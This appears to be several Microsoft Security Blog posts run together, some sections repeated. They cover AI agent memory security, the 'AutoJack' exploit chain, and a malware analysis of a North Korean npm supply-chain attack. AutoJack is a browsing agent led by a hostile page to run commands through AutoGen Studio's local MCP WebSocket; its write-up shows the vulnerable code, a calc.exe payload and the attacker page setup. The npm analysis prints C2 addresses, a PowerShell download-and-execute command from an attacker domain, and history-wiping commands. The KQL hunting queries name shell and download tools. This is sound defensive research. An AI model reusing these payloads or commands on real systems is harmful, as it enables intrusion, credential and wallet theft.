2. Enforce boundaries outside the model: Memory access and isolation should be controlled by deterministic systems, not model instructions. Prompting alone is not a reliable security boundary; strong enforcement prevents sensitive memory from leaking across users, agents, or tenants.
3. Treat retrieval as a risk decision: Memory that was safe to store can become stale, manipulated, or misleading over time. Uncritical retrieval can directly affect agent behavior. Treat retrieved candidate context and re-evaluated for relevance, freshness, and tampering before use.
4. Provide full lifecycle visibility for security teams: Without auditability and chain of custody, memory cannot be reliably investigated, trusted, or safely expired during incident response. Security teams need clear records of what changed, when, why, from where, and access attempts.
5. Keep users in control: Users should be able to understand how memory is shaping their experience and have meaningful controls to review, edit, and delete it. Transparency and control are essential to user trust, and they help ensure memory remains aligned with user expectations over time.

Taken together, these principles reflect where we’re headed: advancing agent capability and control together. Getting that balance right is one of the hardest challenges in the industry, but we believe the agents that scale furthest will be the ones that are also trustworthy, governable, and resilient by design.

Key takeaways

• Memory turns transient threats into persistent ones.
• You can’t secure what you can’t see. Full lifecycle logging of memory operations is the foundation of agentic safety.
• Attackers are already thinking across turns. Single-turn defenses are insufficient for AI memory systems.
• Memory expands the blast radius.
• Microsoft treats memory protections, auditability, and governance as an integral part of the broader trust and compliance architecture.
• Microsoft continues to invest in AI memory security as an active, iterative program. The protections and visibility described here reflect capabilities available today, with continued hardening underway to address emerging threats.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Guarding AI memory appeared first on Microsoft Security Blog.

Ongoing research into AI agent framework security identified an exploit chain in AutoGen Studio (AutoGen’s open-source prototyping user interface) that allows untrusted web content rendered by a browsing agent to reach a local Model Context Protocol (MCP) WebSocket and spawn arbitrary processes on the host. The technique, which we call AutoJack, jacks the agent into becoming the attacker’s last-mile delivery vehicle by crossing the localhost trust boundary that many developer tools rely on.

We reported the behavior to the Microsoft Security Response Center (MSRC); following the report the maintainers hardened the upstream main branch in commit b047730. This issue was identified and addressed during development. The affected MCP WebSocket surface was never included in a Python Package Index (PyPI) release, so users who install AutoGen Studio from PyPI aren’t exposed to this specific chain.

The broader lesson is general: if an agent can browse untrusted pages and also talk to privileged local services, loopback can become an attack surface and control planes must be authenticated, authorized, and isolated.

Why we are looking at agent frameworks

Modern AI agents are not just text generators. They read files, browse pages, call APIs, and shell out to tools. That is exactly what makes them useful, and exactly why there is investment in finding systemic execution risks in the frameworks that wire models to tools. Earlier in this series we covered RCE primitives in Microsoft Semantic Kernel. In this post we move one layer up the stack to an infrastructure and developer-facing prototyping surface and show how the same agent capabilities that make these tools valuable for experimentation can become a delivery channel for remote code execution when the prototype runs without safeguards. 

The takeaway is not to avoid prototypes. It is this: when an agent on your core server or laptop can browse the open web and communicate with privileged local services, localhost stops being a trust boundary. Defenders need to plan for that, and these findings show why. 

What is AutoGen Studio 

AutoGen Studio is a user interface (UI) on top of AutoGen, Microsoft Research’s framework for multi-agent systems. It lets developers compose agents, attach tools, including MCP servers, and run quick experiments. Its documentation is clear about intended use. In other words, it is a research prototype with expected developer-experience tradeoffs: defaults tuned for ease of iteration rather than hardened deployment. 

The AutoJack chain at a glance

The explanation below is for demonstrative purposes only. The exploit chain doesn’t work on current builds. It is included here so that defenders can recognize the pattern in other agent frameworks. 

The exploit chain composes three independent weaknesses in AutoGen Studio’s MCP WebSocket surface: 

1. Origin allowlist trusts localhost – but a local agent is localhost (CWE-1385 – Missing Origin Validation in WebSockets): The MCP WebSocket only accepts connections whose Origin is http://127.0.0.1 or http://localhost. That blocks a browser pointed at evil.com. It does not block JavaScript that is rendered by a headless browser owned by an AutoGen agent on the same machine. 

2. Authentication middleware is opt-out for MCP paths (CWE-306 – Missing Authentication for Critical Function): The auth middleware in AutoGen Studio explicitly skipped /api/mcp/* (and /api/ws/*) on the assumption that these would do their own checks. The MCP WebSocket handler did not implement that follow-up check. As a result, the MCP WebSocket accepted connections without any authentication regardless of the auth mode configured for the rest of the app. 

3. StdioServerParams from the URL is executed verbatim (CWE-78 – Improper Neutralization of Special Elements used in an OS Command): The endpoint accepted a server_params query parameter, base64-decoded a JSON blob into StdioServerParams, and handed command + args to stdio_client(…). There was no allowlist – calc.exe, powershell.exe -enc …, or bash -c ‘…’ were all accepted as “MCP servers.” 

Chain these together with a webpage on the open internet, rendered by an AutoGen agent running on the same machine, and you have a remote code execution primitive. No user interaction is required beyond getting the agent to render the attacker’s page. 

We named the technique AutoJack: an attacker carjacks the browsing agent and uses it as a confused deputy to drive across the localhost boundary into AutoGen Studio’s MCP control plane. 

Anatomy of the chain

Issue 1: Origin allowlist that the agent itself defeats

AutoGen Studio’s MCP WebSocket relies on the conventional defense for browser-driven cross-site WebSocket hijacking (CSWSH): allow only same-origin connections from 127.0.0.1 / localhost. 

allowed_origins = [“http://127.0.0.1”, “http://localhost”] 

That is the right control for a human user opening a tab to evil[.]com. The browser will set the Origin header to hxxps://evil[.]com, the check will fail, and the connection will be refused. 

Origin checks alone are not the right control for an agent. An AutoGen agent equipped with built-in web-browsing tooling, such as MultimodalWebSurfer, fetch_webpage_tool, any Playwright-backed surfer, or a code-execution tool that runs requests/websockets is a process on the workstation. Anything it loads inherits the localhost identity. The “origin” of any JavaScript executed by that headless browser is whatever the agent navigated to – and the WebSocket call it then makes carries an Origin that satisfies the allowlist. 

Issue 2: Auth middleware that opts MCP out

AutoGen Studio supports several authentication modes (none, github, msal, firebase). All of them are wired into a single AuthMiddleware that runs ahead of FastAPI route dispatch. In the version on PyPI, that middleware contains an early-return for WebSocket-style paths: 

# auth excluded for these paths; they were intended to do their own checks 
if request.url.path.startswith("/api/ws") or request.url.path.startswith("/api/mcp"): 
    return await call_next(request) 

The intent is reasonable: ASGI middlewares cannot meaningfully gate WebSocket handshakes the same way they gate HTTP requests, so the design called for the WebSocket handler to enforce auth itself at accept time. The MCP (Model Context Protocol) route never picked up that responsibility. As a result, the table below holds for the released package: 

Turning on auth in config.yaml does not close this hole on its own. 

Issue 3: server_paramsfrom the URL is the command line

The MCP WebSocket route in the development build reads a server_params query parameter, base64-decodes it, JSON-parses it into StdioServerParams, and passes that into stdio_client(…): 

@router.websocket("/ws/{session_id}") 
async def mcp_websocket(websocket: WebSocket, session_id: str): 
    encoded = websocket.query_params.get("server_params") 
    decoded = base64.b64decode(encoded) 
    params = StdioServerParams(**json.loads(decoded)) 
    await create_mcp_session(bridge, params, session_id) 

StdioServerParams.command and StdioServerParams.args are passed to stdio_client, which uses them to spawn an MCP “server” process. There is no allowlist that the executable be an MCP-speaking binary, so the same plumbing happily spawns calc.exe, powershell.exe -enc …, or bash -c ‘…’. 

A minimal payload looks like: 

{ 
  "type": "StdioServerParams", 
  "command": "calc.exe", 
  "args": [], 
  "env": { "pwned": "true" } 
} 

Base64-encoded into a query string, the full reach-out is: 

ws://localhost:8081/api/mcp/ws/?server_params=

Combined with Issues 1 and 2, all an attacker needs is for the agent to render a page that opens that URL. 

Putting it together: a realistic scenario

To validate the end-to-end chain, we wrote two tiny harnesses: 

malicious_web_server.py: a web page served at http://attacker[.]example/websocket-interactive. Its only meaningful content is a <script> that opens the WebSocket above with a base64 payload that runs calc.exe. 

web_summarizer_app.py: a small “Web Content Summarizer” AutoGen agent wrapped in a Flask UI. The app takes a URL from the user and hands it to a MultimodalWebSurfer agent with the prompt “Browse this URL and summarize its content.” It is, in other words, a fully-fledged AutoGen agent that anyone could build on top of the framework – the Flask page is just the interface. 

The end-to-end flow looks like this: 

The developer has built an AutoGen agent such as a Web Page Summarizer, or any agent with browsing capabilities, that runs on the same machine as AutoGen Studio. 

An attacker plants a malicious comment on a legitimate news site, or a user asks the summarizer agent to summarize an attacker-controlled URL. This can happen through a direct prompt, a prompt injection in earlier content, or a URL field in the app. 

The agent’s browsing tool, MultimodalWebSurfer in our case, then navigates the headless browser to the attacker’s page. 

The page’s JavaScript opens ws://localhost:8081/api/mcp/ws/<id>?server_params=<base64>. Because the browser is on the same machine, the Origin is acceptable; because the auth middleware short-circuits /api/mcp/*, no token is required. 

AutoGen Studio decodes the payload and runs calc.exe (or anything else) under the developer’s account. 

Note that we packaged the demonstration as a controlled local proof of concept, See it end-to-end.

The screenshots below show the full chain on a single workstation: the developer launches AutoGen Studio on localhost:8081 (the default port), opens the Web Content Summarizer app, and submits an attacker-controlled URL. Within seconds of MultimodalWebSurfer rendering the page, calc.exe pops on the developer’s desktop, launched by the AutoGen Studio process, not by the browser and not by the agent’s headless Chromium.

Fixes and hardening measures applied

The issue was fixed with the help of the Microsoft Security Response Center. The maintainers implemented the necessary hardening measures, helping protect users ahead of full release and broader adoption: 

Server-side parameter binding. On main, the WebSocket handler no longer reads server_params from the URL. A separate POST /api/mcp/ws/connect route stores the parameters server-side in pending_session_params, keyed by a universally unique identifier (UUID). The WebSocket handler pops the entry by session ID and refuses unknown IDs with close code 4004. The code comment is explicit: “This prevents attackers from injecting arbitrary server_params via the WebSocket query string.” 

Tighter auth skip list. The middleware skip-list on main no longer includes /api/mcp. It includes only /api/ws and /api/maker. MCP routes now flow through the normal auth path. 

These changes are present in the AutoGen main branch as of commit b047730, and pyproject.toml on main is at version 0.7.2.

Crucially, this issue was identified and remediated before any PyPI release, so the affected code never shipped in a published package. The exposure was limited to developers who built AutoGen Studio from the main GitHub branch during the window between the MCP plugin landing and the hardening commit. This was confirmed by downloading autogenstudio 0.4.2.2, the current published release, and inspecting its contents directly: the package doesn’t include autogenstudio/web/routes/mcp.py, the FastAPI application in app.py does not mount an /api/mcp router, and a recursive search across all 55 Python files found no matches for StdioServerParams or /api/mcp.. In other words, users who run pip install autogenstudio today gets a build that does not contain the MCP WebSocket attack surface at all. 

Mitigation and protection guidance 

If you are running AutoGen Studio 

Deploy AutoGen Studio strictly as a developer prototype in an isolated environment, not as an internet-exposed service, aligning as documented. 

If you install autogenstudio with pip (currently 0.4.2.2), you are not exposed to this specific chain. The issue was identified and addressed during development before any PyPI release, and the affected MCP WebSocket route is not present in the published package. The general guidance below still applies because the pattern (an agent on the box reaching localhost services) is broader than this one bug. 

If you build from the main branch for MCP support, use a build at or after commit b047730.

Do not run AutoGen Studio with a browsing or arbitrary code execution agent on the same machine as untrusted content. That combination is the substrate the chain needs, and similar shapes will recur as the project evolves.

Bind to loopback only and add a host firewall rule that blocks all non-loopback traffic to the port 8081 (default).

Place AutoGen Studio behind an authenticated reverse proxy that enforces auth on all paths, including any future WebSocket or /api/* routes. Don’t rely on framework auth modes alone for control-plane endpoints.

Run AutoGen Studio under a low-privilege account in a sandboxed user profile or container so that any future agent-driven RCE is contained to a dev profile, not your daily-driver account.

If you are building agent apps on top of AutoGen 

The deeper lesson is broader beyond this one project. When an agent can both browse external content and reach privileged local services on localhost, it can unintentionally create a confused-deputy scenario. Defend against it by: 

Treating any tool parameter that is reachable from model output as attacker controlled. 

Refusing to bind sensitive control planes (debug endpoints, MCP control sockets, code executors, dev databases) to localhost without authentication. Loopback is an attack surface for any agent on that machine. 

Allowlisting which executables may be invoked as MCP “servers,” instead of accepting command/args from any caller. 

Separating the agent browsing identity from the developer’s identity (different OS user, container, or VM). 

How Microsoft helps secure agentic systems 

Microsoft security teams are actively researching how traditional software risks change when AI models connect to tools, browsers, code interpreters, and local services. This work informs guidance for developers and detections for defenders across Microsoft Defender, Microsoft Defender for Cloud, Microsoft Entra and Microsoft 365. 

Customers using Microsoft Defender, Microsoft Defender for Cloud, and Microsoft Entra can use these controls to detect, contain, and investigate related activity. Coverage depends on product licensing, configuration, and telemetry. 

At the model and agent layer (catch the manipulation) 

Azure AI Content Safety Prompt Shields detects user prompt injection and indirect prompt injection (cross-prompt injection attack, or XPIA), which can catch an early stage of this chain when attacker-controlled content steers an agent to navigate to a malicious page. Prompt Shields do not intercept the client-side JavaScript execution that follows, but they provide an early interception point when initial navigation is triggered through indirect prompt injection. Prompt Shields also integrate with Defender for Cloud AI threat protection so the security operations center (SOC) can see this signal. 

How Microsoft helps secure agentic systems

Microsoft security teams are actively researching how traditional software risks change when AI models connect to tools, browsers, code interpreters, and local services. This work informs guidance for developers and detections for defenders across Microsoft Defender, Microsoft Defender for Cloud, Microsoft Entra and Microsoft 365. 

Customers using Microsoft Defender, Microsoft Defender for Cloud, and Microsoft Entra can use these controls to detect, contain, and investigate related activity. Coverage depends on product licensing, configuration, and telemetry. 

At the model and agent layer (catch the manipulation) 

Azure AI Content Safety Prompt Shields detects user prompt injection and indirect prompt injection (cross-prompt injection attack, or XPIA), which can catch an early stage of this chain when attacker-controlled content steers an agent to navigate to a malicious page. Prompt Shields do not intercept the client-side JavaScript execution that follows, but they provide an early interception point when initial navigation is triggered through indirect prompt injection. Prompt Shields also integrate with Defender for Cloud AI threat protection so the security operations center (SOC) can see this signal. 

https://learn.microsoft.com/en-us/azure/ai-services/content-safety/concepts/jailbreak-detection

Microsoft Defender for Cloud Threat Protection for AI Services raises alerts on jailbreak, data leakage, and credential theft patterns observed against Azure-hosted models, including models used by AutoGen agents when routed through Azure AI services. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/ai-threat-protection 

Microsoft Defender for Cloud AI Security Posture Management (AI-SPM) builds an AI bill of materials (AI BOM), scans infrastructure as code (IaC) and container dependencies for vulnerable AI components, and runs attack path analysis. This helps inventory where AutoGen Studio, or similar prototypes, is deployed across cloud and developer environments. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/ai-security-posture

Microsoft Foundry AI Red Teaming Agent and the open-source PyRIT automate adversarial probing for indirect prompt injection, prohibited actions, and sensitive data leakage. Run these tools against your own agent prototypes before allowing them to browse the open web. 

https://learn.microsoft.com/en-us/azure/foundry/concepts/ai-red-teaming-agent
https://github.com/microsoft/PyRIT 

At the endpoint (catch the spawn and the post-exploitation) 

Microsoft Defender is a high-leverage control for this chain. The AutoJack primitive ends with a Python or Node parent process spawning an unexpected child process through StdioServerParams, which matches the behavioral pattern that endpoint detection and response (EDR) and automated investigation and response (AIR) are designed to catch. 

https://learn.microsoft.com/en-us/defender-endpoint/

Network Protection and Web Content Filtering and custom IP, URL, and domain indicators can block the headless browser from reaching known malicious sites. They can also let you blackhole an attacker domain across the fleet after identification, provided that headless browser traffic is routed through the operating system network stack inspected by Network Protection. 

https://learn.microsoft.com/en-us/defender-endpoint/network-protection 
https://learn.microsoft.com/en-us/defender-endpoint/web-content-filtering 

Microsoft Defender Vulnerability Management software inventory helps locate machines running vulnerable versions of agent frameworks. One caveat is that pip-installed Python packages might not always appear in standard inventory parsers, so hunt for them through process and file telemetry as well. 

https://learn.microsoft.com/en-us/defender-vulnerability-management/ 

Identity, network, and data containment 

Microsoft Entra Conditional Access gates source, cloud, and tenant access based on risk signals including compliant device, compliant network and agent risk, which blocks access in real-time.  Privileged Identity Management (PIM) helps keep admin tokens out of standing reach and limits blast radius if a developer workstation is compromised.

https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview

Microsoft Entra Agent ID extends familiar Microsoft Entra capabilities to AI agents and treats agents as a first-class identity. It brings together identity management, access protection, governance, and compliance controls to manage, govern, and protect AI agents. This reduces the blast radius of confused-deputy attacks such as AutoJack by ensuring agents operate under distinct governed identities rather than inheriting a developer’s ambient privileges. 

http://approjects.co.za/?big=en-us/security/blog/2025/05/19/announcing-microsoft-entra-agent-id-secure-and-manage-your-ai-agents/ 

Microsoft Defender detects and helps contain lateral movement and credential abuse if an attacker pivots from a compromised workstation into Active Directory (AD) or Microsoft Entra. 

https://learn.microsoft.com/en-us/defender-for-identity/what-is 

Hardening the dev environment itself 

Microsoft Dev Box provides cloud-hosted, IT-managed developer workstations with Intune, Conditional Access, and Microsoft Defender for Endpoint by default. It is a structurally safer place to run experimental AutoGen builds than a personal laptop. Windows Sandbox, generally available on Pro, Enterprise, and Education editions, is a lightweight equivalent for one-off experiments. A successful AutoJack-style remote code execution (RCE) event is contained within the sandbox and discarded when the sandbox closes. 

https://learn.microsoft.com/en-us/azure/dev-box/overview-what-is-microsoft-dev-box 
https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview 

Microsoft Defender for Cloud DevOps Security (general availability, or GA), together with GitHub Advanced Security capabilities such as Dependabot, secret scanning, and CodeQL, helps surface vulnerable framework versions pinned in repository manifests and detect credentials that workstation remote code execution could exfiltrate from source code. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/defender-for-devops-introduction 

Investigation and response 

Investigation and response 

Microsoft Defender advanced hunting is where the queries below run. Use Microsoft Security Copilot to summarize incidents, generate Kusto Query Language (KQL), and triage alerts produced by the controls above. 

https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-overview 
https://learn.microsoft.com/en-us/copilot/security/microsoft-security-copilot 

Microsoft Defender detections 

Organizations can use the hunting queries below to identify suspicious child-process creation and related activity consistent with this technique on hosts running AutoGen Studio, then investigate and contain as appropriate. 

Advanced hunting queries 

Use these Microsoft Defender advanced hunting queries to look for the AutoJack chain on hosts running AutoGen Studio. Tune the time range and process names for your environment. 

1. Suspicious children spawned by an autogenstudio host process 

DeviceProcessEvents 
| where Timestamp > ago(30d) 
| where InitiatingProcessCommandLine matches regex @"(?i)autogenstudio|autogen[\s_\-]?studio" 
   or InitiatingProcessFolderPath matches regex @"(?i)autogenstudio" 
| where FileName in~ ( 
    "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe", "wsl.exe", 
    "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", 
    "curl.exe", "wget.exe", "bitsadmin.exe" 
) 
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, 
          InitiatingProcessFileName, InitiatingProcessCommandLine 
| sort by Timestamp desc 

2. WebSocket reach-outs to the AutoGen Studio MCP control plane carrying server_params 

This is most useful when paired with a network sensor that surfaces local WebSocket upgrade requests, but it can also be approximated by using process command lines that construct the URL manually. 

DeviceNetworkEvents
| where Timestamp > ago(30d) 
| where RemotePort in (8081, 8080) 
| where RemoteUrl has "/api/mcp/ws/" and RemoteUrl has "server_params=" 
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl 
| sort by Timestamp desc 

3. Browser-automation hosts navigating to non-corporate domains during an AutoGen Studio session 

DeviceProcessEvents 
| where Timestamp > ago(30d) 
| where InitiatingProcessFileName in~ ("python.exe", "pythonw.exe", "node.exe") 
| where InitiatingProcessCommandLine has_any ("playwright", "MultimodalWebSurfer", "autogen") 
| join kind=inner ( 
    DeviceNetworkEvents 
    | where Timestamp > ago(30d) 
    | where not(RemoteUrl has_any("microsoft.com", "msft.net", "office.com", "")) 
    | project DeviceName, InitiatingProcessId, RemoteUrl, Timestamp 
) on DeviceName, $left.ProcessId == $right.InitiatingProcessId 
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, RemoteUrl 
| sort by Timestamp desc 

If any of these queries surface activity during a period when AutoGen Studio was running with a browsing or code-execution agent, treat the host as a potential development-environment compromise. Review the host, rotate developer credentials and tokens accessible from it, and check whether anything was written to autostart locations. 

What this means for the broader agent ecosystem 

AutoJack is less interesting because of its individual bugs, each of which is a reasonable shortcut in a research-grade prototype, and more interesting because of the chain’s overall shape. We expect to see the same pattern across the ecosystem: 

1. A development tool exposes a powerful local control plane. 

2. That control plane is protected by an origin or localhost-only assumption. 

3. The user routinely runs an agent on the same machine, and that agent is willing to render arbitrary web content. 

That triangle dissolves the localhost trust boundary. The durable response is to authenticate and authorize every control plane regardless of origin, allowlist dangerous primitives such as process execution, file write and network egress, and isolate agent identity from developers identity.  

AutoJack shows that localhost is no longer a trust boundary when agents can browse untrusted content and interact with privileged local control planes. The durable defense is consistent with control-plane authentication and authorization, strict allowlisting of high-risk actions, and identity isolation between agents and developers. 

This research is provided by Microsoft Defender Security Research, Shaked Ilan, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post AutoJack: How a single page can RCE the host running your AI agent  appeared first on Microsoft Security Blog.

June 19, 2026 update: Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet, a North Korean state actor that primarily targets the financial sector. The infrastructure and post-compromise TTPs observed in this campaign are consistent with previously documented Sapphire Sleet activity. Sapphire Sleet also conducted a separate npm supply chain compromise affecting Axios, a popular JavaScript HTTP client, in April 2026.

Microsoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and @mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, the compromised packages have been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated from the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was used to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library. Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet.

Once installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer Security (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged delivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the compromised Mastra packages.

Because the payload executes during installation, any developer workstation or continuous integration and continuous delivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially exposed, regardless of whether the package was imported in application code.  This created risk to credentials, tokens, build environments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and Microsoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package behavior, reflective code loading, persistence activity and command-and-control communication.

Attack chain overview

At a high level, the attack progressed through seven phases:

• Account compromise: The threat actor gained control of the ehindero npm account, a listed maintainer with publish rights across the entire @mastra scope.
• Typosquat creation: The threat actor published easy-day-js, a package impersonating the legitimate dayjs library (57M+ weekly downloads), using a coordinating anonymous email account).
• Mass poisoning: Using the compromised account, the threat actor published new versions of 140+packages across the @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were tagged as latest.
• Delivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions. The semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious postinstall hook.
• Execution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped tracking markers, and contacted the C2 server.
• Second-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js file, and spawned it as a fully detached, window-hidden Node.js process.
• Post-compromise tradecraft: On systems where the implant established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established additional persistence, added Defender exclusions, and installed a service-level implant for SYSTEM-context access.

Discovery and initial indicators

Microsoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All previous versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the legitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous email service.

The only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency. No corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher (ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email provider, Tutamail.

Dependency injection: the poisoned package.json

The compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher metadata:

The easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the SemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.

Typosquat analysis: easy-day-js

The easy-day-js package is a deliberate impersonation of the legitimate dayjs library:

Staged delivery pattern

The typosquat used a two-phase delivery strategy:

• Phase 1 (clean bait): easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained only legitimate dayjs code with no postinstall hook.
• Phase 2 (weaponization): easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs payload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the dropper was added.

The weaponized package.json in version 1.11.22 exposes the postinstall hook:

Obfuscation and payload analysis

Stage 0: Obfuscated dropper (setup.cjs)

The setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder function:

The obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a numeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character substitution. This prevents static analysis tools from extracting meaningful strings.

Stage 1: String table decryption

Decoding the rotated string array reveals the payload’s true capabilities:

Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references (node:child_process, node:os), and file system operations (writeFileSync, rmSync).

Stage 2: Deobfuscated payload logic

After resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:

TLS bypass to self-deletion

Step 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate validation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid certificates.

Step 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains the install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:

Step 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.

The second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit commands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the payload additionally executes reflective .NET assembly injection for in-memory code execution.

Step 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory code execution before establishing persistence.

The payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry Uninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:

Each enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2 for victim profiling, enabling the attacker to identify installed security products and high-value targets.

A second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables SSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-Agent string:

The first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-based detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded payload, the path to cmd.exe, and the C2 callback address:

This pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates back to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.

Step 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a consistent NVM/Node masquerade theme across platforms:

On Windows, the Run key launches a hidden PowerShell process that invokes Node.js:

On Linux, the systemd user unit restarts the implant on failure with a 5-second delay:

All three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic legitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit nvmconf.service are deliberately designed to blend into a developer workstation.

Step 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:

• Cryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome, Edge, and Brave profiles.
• Browser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist- and queried through node:sqlite.
• Host reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.

Collected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl headers), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.

Following successful exfiltration, the implant’s shell runner capability enables the operator to pivot from automated collection to interactive hands-on-keyboard access.

Microsoft observed the actor delivering a dedicated PowerShell backdoor from separate C2 infrastructure, representing an escalation to persistent, actor-controlled access on high-value targets. The PowerShell backdoor, tradecraft, and C2 infrastructure have been used by Sapphire Sleet in other, prior campaigns.

Step 3.D: Backdoor delivery. Through the Node.js implant’s shell runner capability, Sapphire Sleet  downloads and executes a PowerShell script from a separate attacker-controlled domain:

powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"

Upon execution, the script immediately performs anti-forensic cleanup by deleting the PowerShell command history file and disabling future history recording:

Remove-Item (Get-PSReadLineOption).HistorySavePath -Force Set-PSReadLineOption -HistorySaveStyle SaveNothing

Step 3.E: Host fingerprinting and C2 registration. The backdoor generates a unique 16-character alphanumeric victim identifier and collects detailed host metadata—username, hostname, OS version, boot time, architecture, admin status, installed antivirus products, installed applications (via registry Uninstall keys and desktop shortcuts), and browser extensions for Chrome, Brave, and Edge. This reconnaissance data is packaged into a JSON info beacon and sent to the C2 via HTTP POST:

